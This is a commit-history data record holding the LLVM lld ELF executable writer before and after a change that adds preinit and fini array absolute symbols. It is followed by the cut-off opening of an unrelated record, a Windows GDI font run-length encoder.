_chunkAllocate;\n  TargetLayout<ELFT> *_layout;\n  Header<ELFT> *_Header;\n  ProgramHeader<ELFT> *_programHeader;\n  SymbolTable<ELFT> * _symtab;\n  StringTable<ELFT> *_strtab;\n  StringTable<ELFT> *_shstrtab;\n  SectionHeader<ELFT> *_shdrtab;\n  CRuntimeFile<ELFT> _runtimeFile;\n};\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  ExecutableWriter\n\/\/===----------------------------------------------------------------------===\/\/\ntemplate <class ELFT>\nExecutableWriter<ELFT>::ExecutableWriter(const ELFTargetInfo &ti)\n    : _targetInfo(ti), _targetHandler(ti.getTargetHandler<ELFT>()),\n      _runtimeFile(ti) {\n  _layout = &_targetHandler.targetLayout();\n}\n\ntemplate <class ELFT>\nvoid ExecutableWriter<ELFT>::buildChunks(const File &file) {\n  for (const DefinedAtom *definedAtom : file.defined() ) {\n    _layout->addAtom(definedAtom);\n  }\n  \/\/\/ Add all the absolute atoms to the layout\n  for (const AbsoluteAtom *absoluteAtom : file.absolute()) {\n    _layout->addAtom(absoluteAtom);\n  }\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildSymbolTable () {\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      for (const auto &atom : section->atoms())\n        _symtab->addSymbol(atom->_atom, section->ordinal(), atom->_virtualAddr);\n}\n\ntemplate<class ELFT>\nvoid\nExecutableWriter<ELFT>::addAbsoluteUndefinedSymbols(const File &file) {\n  \/\/ add all the absolute symbols that the layout contains to the output symbol\n  \/\/ table\n  for (auto &atom : _layout->absoluteAtoms())\n    _symtab->addSymbol(atom->_atom, ELF::SHN_ABS, atom->_virtualAddr);\n  for (const UndefinedAtom *a : file.undefined())\n    _symtab->addSymbol(a, ELF::SHN_UNDEF);\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildAtomToAddressMap () {\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      for (const auto &atom : section->atoms())\n        _atomToAddressMap[atom->_atom] = atom->_virtualAddr;\n  \/\/ build the atomToAddressMap that contains absolute symbols too\n  for (auto &atom : _layout->absoluteAtoms())\n    _atomToAddressMap[atom->_atom] = atom->_virtualAddr;\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildSectionHeaderTable() {\n  for (auto mergedSec : _layout->mergedSections()) {\n    if (mergedSec->kind() != Chunk<ELFT>::K_ELFSection)\n      continue;\n    if (mergedSec->hasSegment())\n      _shdrtab->appendSection(mergedSec);\n  }\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::assignSectionsWithNoSegments() {\n  for (auto mergedSec : _layout->mergedSections()) {\n    if (mergedSec->kind() != Chunk<ELFT>::K_ELFSection)\n      continue;\n    if (!mergedSec->hasSegment())\n      _shdrtab->appendSection(mergedSec);\n  }\n  _layout->assignOffsetsForMiscSections();\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      if (!DefaultLayout<ELFT>::hasOutputSegment(section))\n        _shdrtab->updateSection(section);\n}\n\n\/\/\/ \\brief Add absolute symbols by default. These are linker added\n\/\/\/ absolute symbols\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::addDefaultAtoms() {\n  _runtimeFile.addUndefinedAtom(_targetInfo.getEntry());\n  _runtimeFile.addAbsoluteAtom(\"__bss_start\");\n  _runtimeFile.addAbsoluteAtom(\"__bss_end\");\n  _runtimeFile.addAbsoluteAtom(\"_end\");\n  _runtimeFile.addAbsoluteAtom(\"end\");\n  _runtimeFile.addAbsoluteAtom(\"__init_array_start\");\n  _runtimeFile.addAbsoluteAtom(\"__init_array_end\");\n  _runtimeFile.addAbsoluteAtom(\"__rela_iplt_start\");\n  _runtimeFile.addAbsoluteAtom(\"__rela_iplt_end\");\n}\n\n\/\/\/ \\brief Hook in lld to add CRuntime file \ntemplate <class ELFT>\nvoid ExecutableWriter<ELFT>::addFiles(InputFiles &inputFiles) {\n  addDefaultAtoms();\n  inputFiles.prependFile(_runtimeFile);\n  \/\/ Give a chance for the target to add atoms\n  _targetHandler.addFiles(inputFiles);\n}\n\n\/\/\/ Finalize the value of all the absolute symbols that we \n\/\/\/ created\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::finalizeDefaultAtomValues() {\n  auto bssStartAtomIter = _layout->findAbsoluteAtom(\"__bss_start\");\n  auto bssEndAtomIter = _layout->findAbsoluteAtom(\"__bss_end\");\n  auto underScoreEndAtomIter = _layout->findAbsoluteAtom(\"_end\");\n  auto endAtomIter = _layout->findAbsoluteAtom(\"end\");\n  auto initArrayStartIter = _layout->findAbsoluteAtom(\"__init_array_start\");\n  auto initArrayEndIter = _layout->findAbsoluteAtom(\"__init_array_end\");\n  auto realIpltStartIter = _layout->findAbsoluteAtom(\"__rela_iplt_start\");\n  auto realIpltEndIter = _layout->findAbsoluteAtom(\"__rela_iplt_end\");\n\n  auto startEnd = [&](typename DefaultLayout<ELFT>::AbsoluteAtomIterT start,\n                      typename DefaultLayout<ELFT>::AbsoluteAtomIterT end,\n                      StringRef sec) -> void {\n    auto section = _layout->findOutputSection(sec);\n    if (section) {\n      (*start)->_virtualAddr = section->virtualAddr();\n      (*end)->_virtualAddr = section->virtualAddr() + section->memSize();\n    } else {\n      (*start)->_virtualAddr = 0;\n      (*end)->_virtualAddr = 0;\n    }\n  };\n\n  startEnd(initArrayStartIter, initArrayEndIter, \".init_array\");\n  startEnd(realIpltStartIter, realIpltEndIter, \".rela.plt\");\n\n  assert(!(bssStartAtomIter == _layout->absoluteAtoms().end() ||\n           bssEndAtomIter == _layout->absoluteAtoms().end() ||\n           underScoreEndAtomIter == _layout->absoluteAtoms().end() ||\n           endAtomIter == _layout->absoluteAtoms().end()) &&\n         \"Unable to find the absolute atoms that have been added by lld\");\n\n  auto phe = _programHeader->findProgramHeader(\n      llvm::ELF::PT_LOAD, llvm::ELF::PF_W, llvm::ELF::PF_X);\n\n  assert(!(phe == _programHeader->end()) &&\n         \"Can't find a data segment in the program header!\");\n\n  (*bssStartAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_filesz;\n  (*bssEndAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n  (*underScoreEndAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n  (*endAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n}\n\ntemplate<class ELFT>\nerror_code\nExecutableWriter<ELFT>::writeFile(const File &file, StringRef path) {\n  buildChunks(file);\n  \/\/ Create the default sections like the symbol table, string table, and the\n  \/\/ section string table\n  createDefaultSections();\n\n  \/\/ Set the Layout\n  _layout->assignSectionsToSegments();\n  _layout->assignFileOffsets();\n  _layout->assignVirtualAddress();\n\n  \/\/ Finalize the default value of symbols that the linker adds\n  finalizeDefaultAtomValues();\n\n  \/\/ Build the Atom To Address map for applying relocations\n  buildAtomToAddressMap();\n\n  \/\/ Create symbol table and section string table\n  buildSymbolTable();\n\n  \/\/ add other symbols\n  addAbsoluteUndefinedSymbols(file);\n\n  \/\/ Finalize the layout by calling the finalize() functions\n  _layout->finalize();\n\n  \/\/ build Section Header table\n  buildSectionHeaderTable();\n\n  \/\/ assign Offsets and virtual addresses\n  \/\/ for sections with no segments\n  assignSectionsWithNoSegments();\n\n  uint64_t totalSize = _shdrtab->fileOffset() + _shdrtab->fileSize();\n\n  OwningPtr<FileOutputBuffer> buffer;\n  error_code ec = FileOutputBuffer::create(path,\n                                           totalSize, buffer,\n                                           FileOutputBuffer::F_executable);\n  if (ec)\n    return ec;\n\n  _Header->e_ident(ELF::EI_CLASS, _targetInfo.is64Bits() ? ELF::ELFCLASS64 :\n                       ELF::ELFCLASS32);\n  _Header->e_ident(ELF::EI_DATA, _targetInfo.isLittleEndian() ?\n                       ELF::ELFDATA2LSB : ELF::ELFDATA2MSB);\n  _Header->e_type(_targetInfo.getOutputType());\n  _Header->e_machine(_targetInfo.getOutputMachine());\n\n  if (!_targetHandler.doesOverrideHeader()) {\n    _Header->e_ident(ELF::EI_VERSION, 1);\n    _Header->e_ident(ELF::EI_OSABI, 0);\n    _Header->e_version(1);\n  } else {\n    \/\/ override the contents of the ELF Header\n    _targetHandler.setHeaderInfo(_Header);\n  }\n  _Header->e_phoff(_programHeader->fileOffset());\n  _Header->e_shoff(_shdrtab->fileOffset());\n  _Header->e_phentsize(_programHeader->entsize());\n  _Header->e_phnum(_programHeader->numHeaders());\n  _Header->e_shentsize(_shdrtab->entsize());\n  _Header->e_shnum(_shdrtab->numHeaders());\n  _Header->e_shstrndx(_shstrtab->ordinal());\n  uint64_t virtualAddr = 0;\n  _layout->findAtomAddrByName(_targetInfo.getEntry(), virtualAddr);\n  _Header->e_entry(virtualAddr);\n\n  \/\/ HACK: We have to write out the header and program header here even though\n  \/\/ they are a member of a segment because only sections are written in the\n  \/\/ following loop.\n  _Header->write(this, *buffer);\n  _programHeader->write(this, *buffer);\n\n  for (auto section : _layout->sections())\n    section->write(this, *buffer);\n\n  return buffer->commit();\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::createDefaultSections() {\n  _Header = new Header<ELFT>(_targetInfo);\n  _programHeader = new ProgramHeader<ELFT>(_targetInfo);\n  _layout->setHeader(_Header);\n  _layout->setProgramHeader(_programHeader);\n\n  _symtab = new SymbolTable<\n      ELFT>(_targetInfo, \".symtab\", DefaultLayout<ELFT>::ORDER_SYMBOL_TABLE);\n  _strtab = new StringTable<\n      ELFT>(_targetInfo, \".strtab\", DefaultLayout<ELFT>::ORDER_STRING_TABLE);\n  _shstrtab = new StringTable<ELFT>(\n      _targetInfo, \".shstrtab\", DefaultLayout<ELFT>::ORDER_SECTION_STRINGS);\n  _shdrtab = new SectionHeader<\n      ELFT>(_targetInfo, DefaultLayout<ELFT>::ORDER_SECTION_HEADERS);\n  _layout->addSection(_symtab);\n  _layout->addSection(_strtab);\n  _layout->addSection(_shstrtab);\n  _shdrtab->setStringSection(_shstrtab);\n  _symtab->setStringSection(_strtab);\n  _layout->addSection(_shdrtab);\n\n  \/\/ give a chance for the target to add sections\n  _targetHandler.createDefaultSections();\n}\n} \/\/ namespace elf\n\nstd::unique_ptr<Writer> createWriterELF(const ELFTargetInfo &TI) {\n  using llvm::object::ELFType;\n  \/\/ Set the default layout to be the static executable layout\n  \/\/ We would set the layout to a dynamic executable layout\n  \/\/ if we came across any shared libraries in the process\n\n  if (!TI.is64Bits() && TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::little, 4, false>>(TI));\n  else if (TI.is64Bits() && TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::little, 8, true>>(TI));\n  else if (!TI.is64Bits() && !TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::big, 4, false>>(TI));\n  else if (TI.is64Bits() && !TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::big, 8, true>>(TI));\n\n  llvm_unreachable(\"Invalid Options!\");\n}\n} \/\/ namespace lld\n<commit_msg>[ELF] Add more absolute atoms. Simplify how they are resolved.<commit_after>\/\/===- lib\/ReaderWriter\/ELF\/WriterELF.cpp ---------------------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lld\/ReaderWriter\/Writer.h\"\n\n#include \"DefaultLayout.h\"\n#include \"TargetLayout.h\"\n#include \"ExecutableAtoms.h\"\n\n#include \"lld\/ReaderWriter\/ELFTargetInfo.h\"\n\nusing namespace llvm;\nusing namespace llvm::object;\nnamespace lld {\nnamespace elf {\ntemplate<class ELFT>\nclass ExecutableWriter;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  ExecutableWriter Class\n\/\/===----------------------------------------------------------------------===\/\/\ntemplate<class ELFT>\nclass ExecutableWriter : public ELFWriter {\npublic:\n  typedef Elf_Shdr_Impl<ELFT> Elf_Shdr;\n  typedef Elf_Sym_Impl<ELFT> Elf_Sym;\n\n  ExecutableWriter(const ELFTargetInfo &ti);\n\nprivate:\n  \/\/ build the sections that need to be created\n  void buildChunks(const File &file);\n  virtual error_code writeFile(const File &File, StringRef path);\n  void buildAtomToAddressMap();\n  void buildSymbolTable ();\n  void buildSectionHeaderTable();\n  void assignSectionsWithNoSegments();\n  void addAbsoluteUndefinedSymbols(const File &File);\n  void addDefaultAtoms();\n  void addFiles(InputFiles&);\n  void finalizeDefaultAtomValues();\n\n  uint64_t addressOfAtom(const Atom *atom) {\n    return _atomToAddressMap[atom];\n  }\n\n  void createDefaultSections();\n\n  const ELFTargetInfo &_targetInfo;\n  TargetHandler<ELFT> &_targetHandler;\n\n  typedef llvm::DenseMap<const Atom *, uint64_t> AtomToAddress;\n  AtomToAddress _atomToAddressMap;\n  llvm::BumpPtrAllocator _chunkAllocate;\n  TargetLayout<ELFT> *_layout;\n  Header<ELFT> *_Header;\n  ProgramHeader<ELFT> *_programHeader;\n  SymbolTable<ELFT> * _symtab;\n  StringTable<ELFT> *_strtab;\n  StringTable<ELFT> *_shstrtab;\n  SectionHeader<ELFT> *_shdrtab;\n  CRuntimeFile<ELFT> _runtimeFile;\n};\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/  ExecutableWriter\n\/\/===----------------------------------------------------------------------===\/\/\ntemplate <class ELFT>\nExecutableWriter<ELFT>::ExecutableWriter(const ELFTargetInfo &ti)\n    : _targetInfo(ti), _targetHandler(ti.getTargetHandler<ELFT>()),\n      _runtimeFile(ti) {\n  _layout = &_targetHandler.targetLayout();\n}\n\ntemplate <class ELFT>\nvoid ExecutableWriter<ELFT>::buildChunks(const File &file) {\n  for (const DefinedAtom *definedAtom : file.defined() ) {\n    _layout->addAtom(definedAtom);\n  }\n  \/\/\/ Add all the absolute atoms to the layout\n  for (const AbsoluteAtom *absoluteAtom : file.absolute()) {\n    _layout->addAtom(absoluteAtom);\n  }\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildSymbolTable () {\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      for (const auto &atom : section->atoms())\n        _symtab->addSymbol(atom->_atom, section->ordinal(), atom->_virtualAddr);\n}\n\ntemplate<class ELFT>\nvoid\nExecutableWriter<ELFT>::addAbsoluteUndefinedSymbols(const File &file) {\n  \/\/ add all the absolute symbols that the layout contains to the output symbol\n  \/\/ table\n  for (auto &atom : _layout->absoluteAtoms())\n    _symtab->addSymbol(atom->_atom, ELF::SHN_ABS, atom->_virtualAddr);\n  for (const UndefinedAtom *a : file.undefined())\n    _symtab->addSymbol(a, ELF::SHN_UNDEF);\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildAtomToAddressMap () {\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      for (const auto &atom : section->atoms())\n        _atomToAddressMap[atom->_atom] = atom->_virtualAddr;\n  \/\/ build the atomToAddressMap that contains absolute symbols too\n  for (auto &atom : _layout->absoluteAtoms())\n    _atomToAddressMap[atom->_atom] = atom->_virtualAddr;\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::buildSectionHeaderTable() {\n  for (auto mergedSec : _layout->mergedSections()) {\n    if (mergedSec->kind() != Chunk<ELFT>::K_ELFSection)\n      continue;\n    if (mergedSec->hasSegment())\n      _shdrtab->appendSection(mergedSec);\n  }\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::assignSectionsWithNoSegments() {\n  for (auto mergedSec : _layout->mergedSections()) {\n    if (mergedSec->kind() != Chunk<ELFT>::K_ELFSection)\n      continue;\n    if (!mergedSec->hasSegment())\n      _shdrtab->appendSection(mergedSec);\n  }\n  _layout->assignOffsetsForMiscSections();\n  for (auto sec : _layout->sections())\n    if (auto section = dyn_cast<Section<ELFT>>(sec))\n      if (!DefaultLayout<ELFT>::hasOutputSegment(section))\n        _shdrtab->updateSection(section);\n}\n\n\/\/\/ \\brief Add absolute symbols by default. These are linker added\n\/\/\/ absolute symbols\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::addDefaultAtoms() {\n  _runtimeFile.addUndefinedAtom(_targetInfo.getEntry());\n  _runtimeFile.addAbsoluteAtom(\"__bss_start\");\n  _runtimeFile.addAbsoluteAtom(\"__bss_end\");\n  _runtimeFile.addAbsoluteAtom(\"_end\");\n  _runtimeFile.addAbsoluteAtom(\"end\");\n  _runtimeFile.addAbsoluteAtom(\"__preinit_array_start\");\n  _runtimeFile.addAbsoluteAtom(\"__preinit_array_end\");\n  _runtimeFile.addAbsoluteAtom(\"__init_array_start\");\n  _runtimeFile.addAbsoluteAtom(\"__init_array_end\");\n  _runtimeFile.addAbsoluteAtom(\"__rela_iplt_start\");\n  _runtimeFile.addAbsoluteAtom(\"__rela_iplt_end\");\n  _runtimeFile.addAbsoluteAtom(\"__fini_array_start\");\n  _runtimeFile.addAbsoluteAtom(\"__fini_array_end\");\n}\n\n\/\/\/ \\brief Hook in lld to add CRuntime file \ntemplate <class ELFT>\nvoid ExecutableWriter<ELFT>::addFiles(InputFiles &inputFiles) {\n  addDefaultAtoms();\n  inputFiles.prependFile(_runtimeFile);\n  \/\/ Give a chance for the target to add atoms\n  _targetHandler.addFiles(inputFiles);\n}\n\n\/\/\/ Finalize the value of all the absolute symbols that we \n\/\/\/ created\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::finalizeDefaultAtomValues() {\n  auto bssStartAtomIter = _layout->findAbsoluteAtom(\"__bss_start\");\n  auto bssEndAtomIter = _layout->findAbsoluteAtom(\"__bss_end\");\n  auto underScoreEndAtomIter = _layout->findAbsoluteAtom(\"_end\");\n  auto endAtomIter = _layout->findAbsoluteAtom(\"end\");\n\n  auto startEnd = [&](StringRef sym, StringRef sec) -> void {\n    \/\/ TODO: This looks like a good place to use Twine...\n    std::string start(\"__\"), end(\"__\");\n    start += sym;\n    start += \"_start\";\n    end += sym;\n    end += \"_end\";\n    auto s = _layout->findAbsoluteAtom(start);\n    auto e = _layout->findAbsoluteAtom(end);\n    auto section = _layout->findOutputSection(sec);\n    if (section) {\n      (*s)->_virtualAddr = section->virtualAddr();\n      (*e)->_virtualAddr = section->virtualAddr() + section->memSize();\n    } else {\n      (*s)->_virtualAddr = 0;\n      (*e)->_virtualAddr = 0;\n    }\n  };\n\n  startEnd(\"preinit_array\", \".preinit_array\");\n  startEnd(\"init_array\", \".init_array\");\n  startEnd(\"rela_iplt\", \".rela.plt\");\n  startEnd(\"fini_array\", \".fini_array\");\n\n  assert(!(bssStartAtomIter == _layout->absoluteAtoms().end() ||\n           bssEndAtomIter == _layout->absoluteAtoms().end() ||\n           underScoreEndAtomIter == _layout->absoluteAtoms().end() ||\n           endAtomIter == _layout->absoluteAtoms().end()) &&\n         \"Unable to find the absolute atoms that have been added by lld\");\n\n  auto phe = _programHeader->findProgramHeader(\n      llvm::ELF::PT_LOAD, llvm::ELF::PF_W, llvm::ELF::PF_X);\n\n  assert(!(phe == _programHeader->end()) &&\n         \"Can't find a data segment in the program header!\");\n\n  (*bssStartAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_filesz;\n  (*bssEndAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n  (*underScoreEndAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n  (*endAtomIter)->_virtualAddr = (*phe)->p_vaddr + (*phe)->p_memsz;\n}\n\ntemplate<class ELFT>\nerror_code\nExecutableWriter<ELFT>::writeFile(const File &file, StringRef path) {\n  buildChunks(file);\n  \/\/ Create the default sections like the symbol table, string table, and the\n  \/\/ section string table\n  createDefaultSections();\n\n  \/\/ Set the Layout\n  _layout->assignSectionsToSegments();\n  _layout->assignFileOffsets();\n  _layout->assignVirtualAddress();\n\n  \/\/ Finalize the default value of symbols that the linker adds\n  finalizeDefaultAtomValues();\n\n  \/\/ Build the Atom To Address map for applying relocations\n  buildAtomToAddressMap();\n\n  \/\/ Create symbol table and section string table\n  buildSymbolTable();\n\n  \/\/ add other symbols\n  addAbsoluteUndefinedSymbols(file);\n\n  \/\/ Finalize the layout by calling the finalize() functions\n  _layout->finalize();\n\n  \/\/ build Section Header table\n  buildSectionHeaderTable();\n\n  \/\/ assign Offsets and virtual addresses\n  \/\/ for sections with no segments\n  assignSectionsWithNoSegments();\n\n  uint64_t totalSize = _shdrtab->fileOffset() + _shdrtab->fileSize();\n\n  OwningPtr<FileOutputBuffer> buffer;\n  error_code ec = FileOutputBuffer::create(path,\n                                           totalSize, buffer,\n                                           FileOutputBuffer::F_executable);\n  if (ec)\n    return ec;\n\n  _Header->e_ident(ELF::EI_CLASS, _targetInfo.is64Bits() ? ELF::ELFCLASS64 :\n                       ELF::ELFCLASS32);\n  _Header->e_ident(ELF::EI_DATA, _targetInfo.isLittleEndian() ?\n                       ELF::ELFDATA2LSB : ELF::ELFDATA2MSB);\n  _Header->e_type(_targetInfo.getOutputType());\n  _Header->e_machine(_targetInfo.getOutputMachine());\n\n  if (!_targetHandler.doesOverrideHeader()) {\n    _Header->e_ident(ELF::EI_VERSION, 1);\n    _Header->e_ident(ELF::EI_OSABI, 0);\n    _Header->e_version(1);\n  } else {\n    \/\/ override the contents of the ELF Header\n    _targetHandler.setHeaderInfo(_Header);\n  }\n  _Header->e_phoff(_programHeader->fileOffset());\n  _Header->e_shoff(_shdrtab->fileOffset());\n  _Header->e_phentsize(_programHeader->entsize());\n  _Header->e_phnum(_programHeader->numHeaders());\n  _Header->e_shentsize(_shdrtab->entsize());\n  _Header->e_shnum(_shdrtab->numHeaders());\n  _Header->e_shstrndx(_shstrtab->ordinal());\n  uint64_t virtualAddr = 0;\n  _layout->findAtomAddrByName(_targetInfo.getEntry(), virtualAddr);\n  _Header->e_entry(virtualAddr);\n\n  \/\/ HACK: We have to write out the header and program header here even though\n  \/\/ they are a member of a segment because only sections are written in the\n  \/\/ following loop.\n  _Header->write(this, *buffer);\n  _programHeader->write(this, *buffer);\n\n  for (auto section : _layout->sections())\n    section->write(this, *buffer);\n\n  return buffer->commit();\n}\n\ntemplate<class ELFT>\nvoid ExecutableWriter<ELFT>::createDefaultSections() {\n  _Header = new Header<ELFT>(_targetInfo);\n  _programHeader = new ProgramHeader<ELFT>(_targetInfo);\n  _layout->setHeader(_Header);\n  _layout->setProgramHeader(_programHeader);\n\n  _symtab = new SymbolTable<\n      ELFT>(_targetInfo, \".symtab\", DefaultLayout<ELFT>::ORDER_SYMBOL_TABLE);\n  _strtab = new StringTable<\n      ELFT>(_targetInfo, \".strtab\", DefaultLayout<ELFT>::ORDER_STRING_TABLE);\n  _shstrtab = new StringTable<ELFT>(\n      _targetInfo, \".shstrtab\", DefaultLayout<ELFT>::ORDER_SECTION_STRINGS);\n  _shdrtab = new SectionHeader<\n      ELFT>(_targetInfo, DefaultLayout<ELFT>::ORDER_SECTION_HEADERS);\n  _layout->addSection(_symtab);\n  _layout->addSection(_strtab);\n  _layout->addSection(_shstrtab);\n  _shdrtab->setStringSection(_shstrtab);\n  _symtab->setStringSection(_strtab);\n  _layout->addSection(_shdrtab);\n\n  \/\/ give a chance for the target to add sections\n  _targetHandler.createDefaultSections();\n}\n} \/\/ namespace elf\n\nstd::unique_ptr<Writer> createWriterELF(const ELFTargetInfo &TI) {\n  using llvm::object::ELFType;\n  \/\/ Set the default layout to be the static executable layout\n  \/\/ We would set the layout to a dynamic executable layout\n  \/\/ if we came across any shared libraries in the process\n\n  if (!TI.is64Bits() && TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::little, 4, false>>(TI));\n  else if (TI.is64Bits() && TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::little, 8, true>>(TI));\n  else if (!TI.is64Bits() && !TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::big, 4, false>>(TI));\n  else if (TI.is64Bits() && !TI.isLittleEndian())\n    return std::unique_ptr<Writer>(new\n        elf::ExecutableWriter<ELFType<support::big, 8, true>>(TI));\n\n  llvm_unreachable(\"Invalid Options!\");\n}\n} \/\/ namespace lld\n<|endoftext|>"}
{"text":"<commit_before>#include \"df_font.h\"\r\n\r\n#include \"df_bitmap.h\"\r\n#include \"df_common.h\"\r\n\r\n#define WIN32_LEAN_AND_MEAN\r\n#include <windows.h>\r\n\r\n#include <limits.h>\r\n#include <stdarg.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Glyph\r\n\/\/ ****************************************************************************\r\n\r\ntypedef struct\r\n{\r\n    unsigned startX;\r\n    unsigned startY;\r\n    unsigned runLen;\r\n} EncodedRun;\r\n\r\n\r\nclass Glyph\r\n{\r\npublic:\r\n    unsigned m_width;\r\n    int m_numRuns;\r\n    EncodedRun *m_pixelRuns;\r\n\r\n\tGlyph(int w)\r\n\t{\r\n\t\tm_width = w;\r\n\t}\r\n};\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Global variables\r\n\/\/ ****************************************************************************\r\n\r\nDfFont *g_defaultFont = NULL;\r\n\r\n\r\n\/\/ ****************************************************************************\r\n\/\/ Public Functions\r\n\/\/ ****************************************************************************\r\n\r\nstatic bool GetPixelFromBuffer(unsigned *buf, int w, int h, int x, int y)\r\n{\r\n    return buf[(h - y - 1) * w + x] > 0;\r\n}\r\n\r\n\r\nDfFont *FontCreate(char const *fontName, int size, int weight)\r\n{\r\n    if (size < 4 || size > 1000 || weight < 1 || weight > 9)\r\n        return NULL;\r\n\r\n    DfFont *tr = new DfFont;\r\n    memset(tr, 0, sizeof(DfFont));\r\n\r\n    \/\/ Get the font from GDI\r\n    HDC winDC = CreateDC(\"DISPLAY\", NULL, NULL, NULL);\r\n    HDC memDC = CreateCompatibleDC(winDC);\r\n    int scaledSize = -MulDiv(size, GetDeviceCaps(memDC, LOGPIXELSY), 72);\r\n    HFONT fontHandle = CreateFont(scaledSize, 0, 0, 0, weight * 100, false, false, false, \r\n        ANSI_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,\r\n        NONANTIALIASED_QUALITY, DEFAULT_PITCH,\r\n        fontName);\r\n    ReleaseAssert(fontHandle != NULL, \"Couldn't find Windows font '%s'\", fontName);\r\n\r\n    \/\/ Ask GDI about the font size and fixed-widthness\r\n    SelectObject(memDC, fontHandle); \r\n    TEXTMETRIC textMetrics;\r\n    GetTextMetrics(memDC, &textMetrics);\r\n    tr->charHeight = textMetrics.tmHeight;\r\n    tr->maxCharWidth = textMetrics.tmMaxCharWidth;\r\n    tr->fixedWidth = (textMetrics.tmAveCharWidth == textMetrics.tmMaxCharWidth);\r\n\r\n    \/\/ Ask GDI about the name of the font\r\n    char nameOfFontWeGot[256];\r\n    GetTextFace(memDC, 256, nameOfFontWeGot);\r\n    ReleaseWarn(strncasecmp(nameOfFontWeGot, fontName, 255) == 0,\r\n        \"Attempt to load font '%s' failed.\\n\"\r\n        \"'%s' will be used instead.\", \r\n        fontName, nameOfFontWeGot);\r\n\r\n    \/\/ Create an off-screen bitmap\r\n    BITMAPINFO bmpInfo = { 0 };\r\n    bmpInfo.bmiHeader.biBitCount = 32;\r\n    bmpInfo.bmiHeader.biHeight = tr->charHeight;\r\n    bmpInfo.bmiHeader.biWidth = tr->maxCharWidth;\r\n    bmpInfo.bmiHeader.biPlanes = 1;\r\n    bmpInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);\r\n    UINT *gdiPixels = 0;\r\n    HBITMAP memBmp = CreateDIBSection(memDC, (BITMAPINFO *)&bmpInfo, DIB_RGB_COLORS, (void **)&gdiPixels, NULL, 0);\r\n\tHBITMAP prevBmp = (HBITMAP)SelectObject(memDC, memBmp);\r\n\r\n    \/\/ Allocate enough EncodedRuns to store the worst case for a glyph of this size.\r\n    \/\/ Worst case is if the whole glyph is encoded as runs of one pixel. There has\r\n    \/\/ to be a gap of one pixel between each run, so there can only be half as many\r\n    \/\/ runs as there are pixels.\r\n    unsigned tempRunsSize = tr->charHeight * (tr->maxCharWidth \/ 2 + 1);\r\n    EncodedRun *tempRuns = new EncodedRun [tempRunsSize];\r\n\r\n    \/\/ Setup stuff needed to render text with GDI\r\n    SetTextColor(memDC, RGB(255,255,255));\r\n    SetBkColor(memDC, 0);\r\n    RECT rect = { 0, 0, tr->maxCharWidth, tr->charHeight };\r\n\r\n    \/\/ Run-length encode each ASCII character\r\n    for (int i = 0; i < 256; i++)\r\n\t{\r\n        char buf[] = {(char)i};\r\n\r\n        \/\/ Get the size of this glyph\r\n        SIZE glyphSize;\r\n        GetTextExtentPoint32(memDC, buf, 1, &glyphSize);\r\n\/\/         if (glyphSize.cx > tr->maxCharWidth)\r\n\/\/             tr->maxCharWidth = glyphSize.cx;\r\n\/\/         if (glyphSize.cy > tr->charHeight)\r\n\/\/             tr->charHeight = glyphSize.cy;\r\n\r\n        \/\/ Ask GDI to draw the character\r\n\t\tExtTextOut(memDC, 0, 0, ETO_OPAQUE, &rect, buf, 1, 0);\r\n\r\n        \/\/ Read back what GDI put in the bitmap and construct a run-length encoding\r\n\t\tmemset(tempRuns, 0, tempRunsSize);\r\n\t\tEncodedRun *run = tempRuns;\r\n     